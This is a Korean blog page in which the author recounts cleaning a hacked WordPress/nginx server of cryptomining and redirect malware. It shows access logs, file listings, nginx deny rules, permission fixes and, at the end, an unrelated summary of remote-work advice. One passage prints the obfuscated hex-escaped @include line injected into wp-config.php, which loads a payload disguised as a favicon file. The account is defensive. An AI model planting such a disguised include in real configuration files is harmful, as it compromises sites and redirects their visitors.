페이스북을 타고 들어오면 리다이렉션 되던 문제

해커와의 전쟁

몇일째 채굴 공격을 막느라 정신이 없었다. 이번을 개기로 서버보안에 좀더 신경을 쓰게 된 개기가 된것 같다. 아무튼 내 블로그 곳곳엔 여전히 헛점이 있다. 11년전 서버에 대한 지식이 전무한 상태에서 워드프레스를 설치한게 화근이지싶다. 그땐 이거저거 해보겠다고 퍼미션도 777인 곳이 많았고 766도 많았다.

발단의 원인

일단 퍼미션이 엉망이었다는 것이 재앙인데 퍼미션이 엉망이기 때문에 해커들이 맘대로 내 서버에 파일도 올리고 실행도 시키고,..미안하다..ㅜㅜ
아무튼 해커와의 전쟁을 선포하고 워드프레스 폴더 곳곳을 find 명령으로 뒤져가며 php 파일명이 이상한 형태가 있는지 전부 찾아서 지웠다.

어떤 이상한 파일들이 있었는지는 지난 글을 참고하자.

여전히 풀리지 않는 리다이렉션 문제

이제 남은 건 페이스북에 링크된 글이 이상한 사이트로 넘어가는 문제만 남았다. 나도 몇번 겪어봤고 이상하다 싶었는데 그사이 신고도 3건이나 접수됐다. 그래서 제대로 잡아보자 싶어서 한번만 더 걸려라! 하는 심정으로 기다렸다. 그리고 드디어 잡았다!! 올타커니!!!

먼저 문제가 발생한 시간의 액세스 로그를 뒤졌다.

[27/Dec/2017:14:51:09 +0000] 200 211.243.39.14 http://m.facebook.com GET 
/archives/2017/12/nginx-%EC%99%80-php-fpm-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EB%85%B8%EB%A6%B0-%EC%B1%84%EA%B5%B4-%EA%B3%B5%EA%B2%A9/ 
HTTP/1.1 407 Mozilla/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) 
Mobile/15C114 [FBAN/FBIOS;FBAV/153.0.0.53.87;FBBV/84268146;FBDV/iPad4,4;FBMD/iPad;FBSN/iOS;FBSV/11.2;FBSS/2;FBCR/;FBID/tablet;FBLC/ko_KR;FBOP/5;FBRV/0]

로그에 찍힌 이상한 에이전트는 검색을 통해 페이스북 앱임을 확인했고, 액세스 로그에 레퍼러(referer)가 제대로 찍힌걸 봐서는 링크는 제대로 타고 들어왔다. 고로 페이스북 문제는 아니다. 이제 문제는 내 서버에 설치된 워드프레스다. 분명 워드프레스가 리다이렉션 시키는 것 같다. 어떻게 그게 가능한지는 모르겠지만,.. 파일 업로드도 지맘대로 하는 판에 기존 파일을 수정하지 말라는 법도 없지 않나?

리다이렉션 말웨어(스파이웨어)

검색을 좀 해봤다.

https://fixmywp.com/blog/detect-clean-wordpress-malware-redirect.php

그랬더니 역시 있다! 나와 비슷한 증상을 겪는 문제가 워드프레스에서 심상치않게 발견되고 있나보다.

If a file is added, it’s often named to look like a legitimate file like that’s the part of WordPress core files. The file could be named sunrise.php, wp-users.php, wp-system or wp-configuration.php or something similar.

위에 나열된 파일은 다행이 없었다. 그리고 이제 남은건 아래 파일들… 모두 찾아봤다.

Typically hackers add the malicious scripts to .htaccess, wp-includes, wp-content/themes, wp-content/plugins or wp-content/uploads folders, or may also change your wp-config.php file.

그런데 뚜둥~!! wp-config.php 파일이 변조되어 있다!! 대박!! 이게 정말 가능한거구나… 놀랍다.

<?php
/*1008f*/

@include "\x2fva\x72/w\x77w/\x6egi\x6ex_\x72oo\x74/w\x70/w\x70-c\x6fnt\x65nt\x2fca\x63he\x2ffa\x76ic\x6fn_\x63ec\x652c\x2eic\x6f";

/*1008f*/^M

일단 변조된 부분을 지우고 다시 페북으로 링크를 걸어봐야겠다. 과연….

테스트 결과 성공적!

일단 몇번을 테스트해봤지만 문제는 없는것 같다. 그리고 검색에서 찾은 사이트에서 소개한 스파이웨어 스캔 사이트(https://quttera.com/)로 돌려봤더니… 7개 파일에서 의심스러운 코드가 발견됐다는 보고서를 받았는데, 다행히 내가 먼저 발견해서 지웠다!! wp-config.php 파일에 붙어서 여러 링크에 들어간것 같다.
아무튼 다행이야!! 이런게 하나 또 배운다!!

nginx 와 php-fpm 취약점을 노린 채굴 공격

홈페이지가 또 죽었다. 지난번 포스트에서 해결된줄 알았는데 이번에는 다른 문제였다. 그동안 무엇이 문제인지 갈피를 잡지 못했다가 이제야 찾았다!!

채굴 스크립트가 동작할때 nginx 권한으로 자꾸 실행 되길래 어떻게 이게 가능할까 싶었는데, nginx location 매칭의 취약점을 이용한 일반적인 공격이었다. 예를 들면 이런거다. /uploads/악성코드/아무거나.php 위치에 파일이 하나 업로드되고 이걸 실행하는 거다.

자세한 내용은 아래 링크를 참고 하자. https://phpschool.com/gnuboard4/bbs/board.php?bo_table=tipntech&wr_id=77007&page=#c_77013

사실 uploads 폴더에 php 파일이 어떻게 올라갔는지도 궁금하다. 설마 워드프레스는 POST 요청에 대한 권한 체크를 따로 하지 않는건가? 소스코드를 뜯어보면 알겠지만 귀찮다. -_-;; 올리는건 맘대로하고 일단 업로드 폴더에 올라간 php 파일 실행이나 제대로 막아보자.

업로드 폴더에 올라간 php 파일 접근 제한 걸기

방법은 간단하다. location 매칭할때 uploads 폴더에 php 파일 접근을 거부하면 된다.

# 업로드 폴더에 php 파일은 접근금지
location ~* /(?:uploads|files)/.*.php$ {
    deny all;
    access_log off;
    log_not_found off;
}

로그 디벼보기

일단 문제는 해결했고 그동안 액세스 로그에 어떤 흔적들이 남겨져 있는지 탐정놀이를 해보자. access.log 파일을 열어서 /uploads 패턴매칭을 해봤다.

[04/Nov/2017:15:57:55 +0000] 404 119.59.120.23 http://miconblog.com/wp-content/uploads/2013/01/ysopvvnj.php 
POST /wp-content/uploads/2013/01/ysopvvnj.php 어쩌고 저쩌고 에이전트는 생략...

[04/Nov/2017:16:00:56 +0000] 404 69.195.124.153 http://miconblog.com/wp-content/uploads/2016/01/rwjplrax.php 
POST /wp-content/uploads/2016/01/rwjplrax.php 어찌고 저찌고 에이전트는 생략...
...
..
.

헐~ 정말 있구나! 한두개가 아니다. -_-;;;
이번엔 정말 저 파일이 저 위치에 있을까 싶어 워드프레스가 설치된 폴더를 검색해봤다.

$> ls -al PATH/wp-content/uploads/2013/01
drwxrwxrw-  2 nginx ec2-user  4096 11월 24 02:14 .
drwxrwxrw- 14 nginx ec2-user  4096 12월  2  2013 ..
-rw-r--r--  1 nginx nginx     9816 11월 17 15:08 xgzeufph.php
-rw-r--r--  1 nginx nginx    11128  9월 25  2013 ysopvvnj.php

와~ 대박! 얘네들 언제 업로드 된건지? 왜 난 몰랐었지? -_-…

혹시나 싶어 생성날짜를 확인해봤는데 하나는 최근에 하나는 정말 2013년에 생성됐구나 -_-… 와.. 무섭다…

$> stat ysopvvnj.php
  File: `ysopvvnj.php'
  Size: 11128       Blocks: 24         IO Block: 4096   일반 파일
Device: ca01h/51713d    Inode: 272150      Links: 1
Access: (0644/-rw-r--r--)  Uid: (  498/   nginx)   Gid: (  498/   nginx)
Access: 2013-09-25 00:18:11.000000000 +0000
Modify: 2013-09-25 00:18:11.000000000 +0000
Change: 2017-10-16 15:16:44.775581538 +0000
 Birth: -

$> stat xgzeufph.php
  File: `xgzeufph.php'
  Size: 9816        Blocks: 24         IO Block: 4096   일반 파일
Device: ca01h/51713d    Inode: 315331      Links: 1
Access: (0644/-rw-r--r--)  Uid: (  498/   nginx)   Gid: (  498/   nginx)
Access: 2017-11-17 15:08:35.000000000 +0000
Modify: 2017-11-17 15:08:35.000000000 +0000
Change: 2017-11-24 02:14:51.177864545 +0000
 Birth: -

uploads 폴더에 php 파일이 있는지 전수 조사를 해봤다.

$> find ./uploads/ | grep php
./uploads/2015/xqqhvjma.php
./uploads/2015/01/fuihfefw.php
./uploads/2013/11/bvwuskgr.php
./uploads/2013/01/xgzeufph.php
./uploads/2013/01/ysopvvnj.php
./uploads/2013/12/jwgfcivx.php

내가 몇개 지운거 빼고도 무려 6개가 더 있었다!! -_-;.. 궁금해서 각 파일을 열어봤더니 더 가관인게 쿠기 정보를 빼가는 스크립트도 있고, 코드 채굴기 처럼 보여지는 어마어마한 해시 블록을 가진 코드도 있었다. 그리고 PHP 전역에 함수를 심어놓는 듯한 백도어 코드도 있었다.

무서운 세상이다. 채굴스크립트의 경우 지난 6월 15일에 생성 됐다가 최근 10월 30일에 코드가 업데이트가 됐다. 가상화폐 난 0.00000001 코인도 없는데 불쌍한 내 서버는 일찍이 내 무지함에 의해 강제 노역을 당해왔구나. ㅜㅜ

어떻게 이런 일이 가능할까?

나도 나름 전공자인데 이렇게 내가 당하는거 보니 정말 수많은 사람들이 지금도 당하고 있을거라 생각이든다. 공격자는 또 어떻게 uploads 폴더를 이용할 생각을 했을까? 똑똑하다는 생각도 들지만 개인이 서버를 운영하려면 정말 많이 알아야겠다는 생각도 든다. 사실 이런 공격을 당하려면 몇가지 조건이 필요하다.

  • 첫번째, 워드프레스를 운영하는 서버일것
  • 두번째, Apache가 아닌 Nginx를 이용할 것
  • 세번째, nginx와 워드프레스 조합에서 발생하는 취약점에 대해 크게 고민을 해본적이 없을 것

특히 세번째가 중요한데 워드프레스를 설치하고 nginx 설정을 할때 uploads 폴더에 접근을 제한해야한다는 가이드라인이 없다는 것이다. 보통 nginx와 php-fpm을 연동하는 문서들은 검색하면 수도 없이 나오지만 워드프레스를 설치해서 쓸경우 uploads 폴더 안에서 php 파일 접근을 제한해야한다는 설명은 그 어디에도 없다. 이게 참 알아도 설명하기가 그렇다.

아무튼 워드프레스를 설치해서 운영하는 사람이라면 혹시 본인의 서버도 강제 노역을 당하고 있는건 아닌지 꼭 확인해보기 바란다.

updated!! 12월 27일 또 공격이 들어왔다.

오랜만에 블로그에 들어가보니 뭔가 좀 늦게 반응하는 느낌이 들어 바로 터미널로 접속해 봤더니.. 역시나 채굴 스크립트가 돌고 있다!! 헉!!! 제대로 막은게 아니었던가? 이번엔 또 어디가 문제인거지? ㅎㅎㅎ 참나.. ㅎㅎㅎ

AWS 클라우드와치에 찍힌 CPU 로그를 보고 채굴 스크립트가 언제 실행됐는지 대략 시간을 파악하고 액세스로그를 디져봤다.

[27/Dec/2017:03:04:57 +0000] 403 40.76.209.29 http://miconblog.com/wp-content/uploads/2016/01/rwjplrax.php POST /wp-content/uploads/2016/01/rwjplrax.php ... 
[27/Dec/2017:03:04:59 +0000] 200 79.174.72.152 http://miconblog.com/wp-admin/css/colors/sunrise/iqxpuniw.php POST /wp-admin/css/colors/sunrise/iqxpuniw.php ...
[27/Dec/2017:03:05:03 +0000] 403 54.247.114.112 http://miconblog.com/wp-content/uploads/2016/01/rwjplrax.php POST /wp-content/uploads/2016/01/rwjplrax.php ...
[27/Dec/2017:03:05:34 +0000] 499 95.85.34.184 http://miconblog.com/wp-admin/css/colors/sunrise/iqxpuniw.php POST /wp-admin/css/colors/sunrise/iqxpuniw.php ...
[27/Dec/2017:03:05:35 +0000] 403 203.146.253.98 http://miconblog.com/wp-content/uploads/2016/01/rwjplrax.php POST /wp-content/uploads/2016/01/rwjplrax.php ...
[27/Dec/2017:03:05:36 +0000] 200 184.168.193.16 http://miconblog.com/wp-admin/css/colors/sunrise/iqxpuniw.php POST /wp-admin/css/colors/sunrise/iqxpuniw.php ...

어라 이건 또 뭐야? 생각지도 못한 패턴이 나왔다!!

/wp-admin/css/colors/sunrise/iqxpuniw.php

아놔.. -*- 어쩌자는건지… 저 위치에 파일이 어떻게 올라갔냐? -_-;;; 갑자기 대책이 안선다… 어드민 테마 파일에도 들어가 있다니… 멘붕이다. 정신차려보자. 일단 이녀석이

-rwxr-xr-x 1 nginx ec2-user 12847 11월 17 15:08 colors-rtl.css
-rwxr-xr-x 1 nginx ec2-user 11189 11월 17 15:08 colors-rtl.min.css
-rwxr-xr-x 1 nginx ec2-user 12849 11월 17 15:08 colors.css
-rwxr-xr-x 1 nginx ec2-user 11191 11월 17 15:08 colors.min.css
-rw-r--r-- 1 nginx ec2-user   166  2월  6  2014 colors.scss
-rw-r--r-- 1 nginx nginx    11488  9월 25  2013 iqxpuniw.php

일단 기존 접근 제한을 좀더 보강하고 내 지켜보겠다!!

 location ~* /(?:uploads|files|css|image|js)/.*.php$ { 
     deny all; 
     access_log off; 
     log_not_found off; 
 }

폴더 권한 정리

그리고 보니 wp-admin 폴더의 파일 권한이 생각보다 많이 열려있었구만..-_-;.. nginx 그룹에 쓰기 권한도 열려있고… 허미.. 그랬었구나.. 내가 잘못했네..ㅜㅜ 루트를 제외한 모든 사용자의 권한을 전부 닫아야겠다. 검색해보니 워드프레스의 모든 폴더권한은 755, 파일은 644로 제한해야한다고 한다. 자세한 내용은 이쪽에서 확인하자.

일단 그동안 열려있던 파일과 폴더 권한을 대폭 축소했다.

$ cd 워드프레스폴더위치/wp
$ find ./ -type d -exec chmod 0755 {} \;
$ find ./ -type f -exec chmod 0644 {} \;

원격 근무(Remote-Work)에 대한 단상

아침에 트렐로에서 메일이 하나 왔길래 늘 그렇듯 삭제 하려다가 “리모트 워크 가이드”라는 단어가 눈에 들어와서 읽어보게 됐다. PDF 원문은 여기서 보면 되겠다.

최근 제주에서 열렸던 리모트 워크 캠프 참석후에 정리된 생각이 한번더 정제되는 느낌의 글이다. 글도 글이지만 원문은 참 해석이 어렵기도하다. 따라서 내가 정리는 했지만 제대로 해석 했는지는 자신이 없다. 그냥 나는 이렇게 생각하고 이런 내용에 동의한다 정도로 이해하면 되겠다.

아래 정리된 글과 별개로 개인적으로 리모트 워크에 대한 생각이 있긴한데 이건 나중에 정리하는 걸로 하고,… 아무튼 개발자라는 직업이 리모트 워크와 참 잘 어울린다라는 생각을 다시금 해본다. 우리 회사에서 만들어가고 있는 개발 문화도 의도하진 않았지만 아래 내용과 많은 부분이 일맥 상통하고 있어서 신기하기도 하다. ㅋㅋㅋ

참고로 PDF에 정리된 회사들은 모두 글로벌 회사다보니 풀 리모트를 전제하고 있는것 같다.

리모트워크에 관련한 미신 5가지와 해결책

1. 리모트 워커들은 슬랙 중독자다. (Slaker)

  • 요구사항이 명확하면 슬랙 없이도 일할수있다.
  • 따라서 매니저나 대표가 팀원들과 일을 명확히하고 목표를 얼라인하려는 노력이 필요하다.
  • (개인생각) 여기서 슬랙커라는 표현은 아마도 채팅중독자라는 부정적인 의미로 쓰인듯 싶다. 슬랙커는 일 안하고 채팅만 한다라고 인식하는 걸까?
  • (개인생각) 역시 매니저(조직장 혹은 대표 혹은 그에 상의하는 역할을 가진 직책자)의 역할이 매우 매우 중요함을 다시금 깨닭고 있다.
  • => 매니저가 팀원들과 일 사이에서 잘 매니징하는게 중요하다.
2. 리모트 워커는 자신이 일하고 있음을 계속해서 증명해야한다.
  • 모든 채팅에 관여해야하고 빠른게 응답해주고 싶은 스트레스를 갖지 않도록 노력해주면 좋지.
  • (개인생각) 나도 처음엔 슬랙에서 눈을 떼기 어렵고 항상 빠르게 답해주려고 노력했던것 같다.
  • (개인생각) 이런 생각은 일이 명확하지 않을때 더 압박을 받는것 같다.
  • => 표준으로 리모트를 채택하면 해결된다.

3. 리모트가 기업문화에 악영향을 준다?

  • 팀 단합이 어려울꺼다. 라는 미신도 있지.
  • (개인생각) 아마 제대로 도입하지 않고 실패사례만 수집한게 아닐까?
  • => 문화를 만들기 위한 노력은 필수다. 그의 일환으로 정기적인 화상 채팅도 방법일수 있다.
4. 리모트 워커는 낮시간에 항상 소환 가능해야한다?
  • 실제 해보면 오피스 워커와 비슷한 시간을 정해서 일한다.
  • 스스로 일하는 시간을 정하는게 중요하다.
  • => 팀보드를 같이 보고 공유한다. 현재 누가 어떤 일을 하는지 명확하게 보이지 않으면 누구든 얘기해서 명확히 해야한다.

팀의 의사소통을 위한 원칙을 세워라.

  • 사무실에서 이루어지는 미묘한 모든 것까지 원격으로 옮기는 것이 목적이 아니다.
  • 사려깊은 고려는 어떤게 있을까? => 모든 사람이 뛰어난 언변가가 아님을 고려하는것인가?
  • 가상 사무실에 대한 적응 => 맞아 적응이 힘들수있지… 쉽게 적응할수있도록 도와줘야해…
  • 코드는 개인의 것이 아니라 팀이 공동생산하는 결과물이라는 인식을 갖도록 노력한다.
  • 채팅과 이메일 그리고 전화는 언제 쓰냐? 이런 도구에 대한 룰도 같이 정하는 노력이 필요하다.

문맥이 중요하다.

  • 상대가 지금 무엇을 하고 있는지 눈에 보이지 않기 때문에 나의 급한만 생각하는 경향이 있다.
  • 상대의 문맥을 이해하고 있는것이 중요하다.
  • 문맥없이 끼어들면 상대는 불쾌할수도 있다.
  • => 따라서 내가 대화할수 없다면 명확히 알려라! 불필요하게 이사람이 있는지 없는지 고민해야하는 시간을 줄여라!!

그라운드 룰을 만들어라.

  • 잘 돌아가는 리모트 팀에 소속된다면 이미 잘 돌아가는 도구가 있을것이다.
  • 어떻게 쓰는지 고민하지 말고 사용법을 묻고 정확히 익혀라.
  • 예를 들면 이런 룰이 있을수 있지. 시간에 민감한 정보면 채팅을 하고 아니면 트렐로에 올려! 라는 룰이 있다면 매번 채팅으로 도와달라는 노이즈를 피할수있다.

텍스트 채팅 VS 화상 채팅

  • 도구는 사람의 의도와 감정을 가리고 있음을 명심해라.
  • 좋은 대안이 있다면 화상 채팅을 통해서 전달해라 그게 더 효과적이다.
  • 감정적인 교류가 부족하면 토론이 비난하는것처럼 들릴수있다.
  • 근본적인 문제를 해결하지 않은 상태에서 채팅을 하면 오해를 더 키우고 결국 분노로 표출되고 감정을 상하게 한다.
  • => 텍스트만으로 모든것을 해결할수 없다. 감정을 확인할수있는 채팅을 활용해라.
  • => 풀리모트 상황이 아니라면 감정을 주고 받는 오프라인 회의도 좋은듯…

효율적이고 효과적인 화상 회의하기

  • 좋은 헤드셋을 제공해라.
  • 원격 오피스와 로컬 오피스 모두 좋은 품질의 인터넷 속도를 보장하기 위한 노력을 우선순위에 둬라.
  • 시끄러운 카페는 피해라.
  • 말하지 않을때 음소거 해라.
  • 화상채팅 에티켓을 만들어라.
  • 일과 관련없는 회사의 가쉽이나 소소한 잡담을 하는데도 회의의 일부분으로 할당해라. => 가쉽이나 소소한 이야기를 통해 소속감이나 유대감을 느끼게 한다.
  • 화상회의가 중요한게 아니라 사실 이런 활동이 사람과 사람사이의 감정 교류 역할을 한다.
  • 혼자 떠드는 회의를 피하고 싶으면 이슈 트랙커나 트랠로 같은 텍스트 커뮤니케이션 도구를 활용해서 지속적인 피드백을 받아라.

도구를 잘 활용해라.

채팅도구

  • slack
  • Stride
  • zapier

화상도구

  • Zoom
  • appear.in

협업도구

  • trello
  • confluence
  • google docs

리모트 문화를 만들어라.

  • 지속가능한 룰 만들기
  • 건강한 시스템 만들기 (팀원들간의 소통을 위한 미팅, 이벤트, 정기적인 무엇이든…)

지속 가능한 리모트 규칙을 만들때 고려해야할 점.

  • 공감대가 중요하다. 룰에는 늘 양면이 있을수 있으므로 부정적인 의도가 아니라 긍정적인 의도로 룰을 만들고 공감대를 이끌어내라.
  • 투명하게 공유하기. 모든 사람들이 정보에 접근할수있어야한다. 의사결정이 이루어진 회의라면 화상회의도 녹화하는 노력이 필요하다.
  • 비동기로 일하기. 계획된 일을 먼저해라. 그러면 결정되지 않는 것들이 자연스럽게 나중에 모아진다.
  • 장소에 구애받지 않는 구조 만들기. 주요 의사결정을 파악할 수 있도록 문서 서기를 지정하거나 어디서든 이슈를 빨럽할수있는 체계를 만든다.
  • 다름을 인정하고 배려하기. 원격 근무자는 모두 다른 경험과 상황이 있다. 그들을 위한 대책을 마련해라.